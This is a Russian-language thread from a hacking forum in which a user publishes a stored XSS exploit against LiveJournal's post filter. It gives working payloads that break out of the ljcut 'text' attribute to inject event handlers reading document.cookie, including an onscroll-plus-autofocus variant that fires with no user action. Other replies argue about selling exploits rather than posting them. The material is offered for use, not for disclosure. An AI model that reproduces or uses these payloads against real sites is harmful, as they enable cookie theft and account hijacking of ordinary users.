• XSS.stack #1 – первый литературный журнал от юзеров форума

Активная XSS в Livejournal.com

malayazemlya

HDD-drive
Пользователь
Регистрация
04.06.2013
Сообщения
26
Реакции
1
Разбирая исходники фильтра постов в ЖЖ (вот они, кстати), нашел полновесную активную XSS.

Пишется пост, содержащий такой код:

Код:
<div class="ljcut" text="Read more&quot;onmouseover=alert(document.cookie)  x=&quot;">
....
</div>

После публикации этот div превращается в гораздо более занятный:

Код:
<div class="ljcut" text="Read more" onmouseover=alert(document.cookie) x="">
...
</div>

Есть некоторые легкие неудобства, но жизнь они не портят :

* Символы < и > таки фильтруются, поэтому новые теги надо создавать кодом.

* При просмотре ЖЖ в режиме ленты ваш инжект станет простым текстом подозрительного содержания. Не беда. Заключим его во внешний "lj-cut" (это местный ЖЖшный тег).

* Самый очевидный способ запустить код в этом контексте - добавить обработчик событий. К сожалению у DIV-а с этим не густо, но кое-что найдется:
  • onmousemove - если div достаточно большой, то рано или поздно курсор окажется и над ним. А можно пойди по пути социальной инженерии: добавить пару абзацев черным по черному - типа споилеры. mousemove польются рекой :P
  • onscroll - этот обработчик можно даже вызвать без каких-то действий пользователя. Добавим overflow:scroll и сделаем,чтоб текст в div полностью не влезал. Потом в самый конец добавим какой-нибудь элемент с атрибутом autofocus. Это вызовет автоматом скроллинг - и запустит наш обработчик. :yahoo:
Как-то так выходит:
Код:
<lj-cut>
<div style="font-size:1px;color:transparent;">
<div class="ljcut" text="&quot; style=&quot;height:480px;color:transparent;overflow:scroll&quot; onscroll=&quot;alert(document.domain+':'+document.cookie),this.onscroll=null&quot; x=&quot;"><div style="color:black;font-family:monospace;font-size:12px;line-height:120%;height:110%">
.... дофига текста....
<form><span style="font-size:20px;font-family:monospace;color:black">&copy;Добрые Гномы</span><input style="width:1px;font-size:1px;border:none" autofocus="autofocus"></form>
</div>
</div>
</lj-cut>

Обратите,кстати внимание, что в примере тем же методом инжектится и нефильтрованный css, тоже полезно. ;)

Сплоит в действии можно посмотреть у мене в ЖЖ

Самое смешное в этом баге, что, судя по датам изменения исходников, он существует минимум 7 лет и принадлежит перу самого основателя, Брэда Фитцпатрика. :huh1: Поэтому 0-day его называть как-то странно. Но вроде в паблике ничего такого не было.
 
Ежели кому интересно, то пишите в личку, это всегда велкам.
Вот даже сегодня с утра еще одну активную XSS в живом журнале нарыл. :D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
offtop
Ну вот. Выложил кто-то в кои веки инфу, так сразу налетели, что мол зачем, мог бы продать/выложить в преватах. А потом создают темы, где активность на форуме, почему лишь комерц разделы развиваются.
 
Ну вот. Выложил кто-то в кои веки инфу, так сразу налетели, что мол зачем, мог бы продать/выложить в преватах. А потом создают темы, где активность на форуме, почему лишь комерц разделы развиваются.
та ладно, развитие форума больше состоит в обсуждении новых подходов, векторов атаки, методов скрытия следов и т.д. Это дело автора конечно выкладывать что либо или нет, просто будет ли развитие если я выложу например тысячу шеллов, или же просто толпа школьников налетит и задрочат их своими дорвеями и фреймами.
 
та ладно, развитие форума больше состоит в обсуждении новых подходов, векторов атаки, методов скрытия следов и т.д. Это дело автора конечно выкладывать что либо или нет, просто будет ли развитие если я выложу например тысячу шеллов, или же просто толпа школьников налетит и задрочат их своими дорвеями и фреймами.
<_<
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх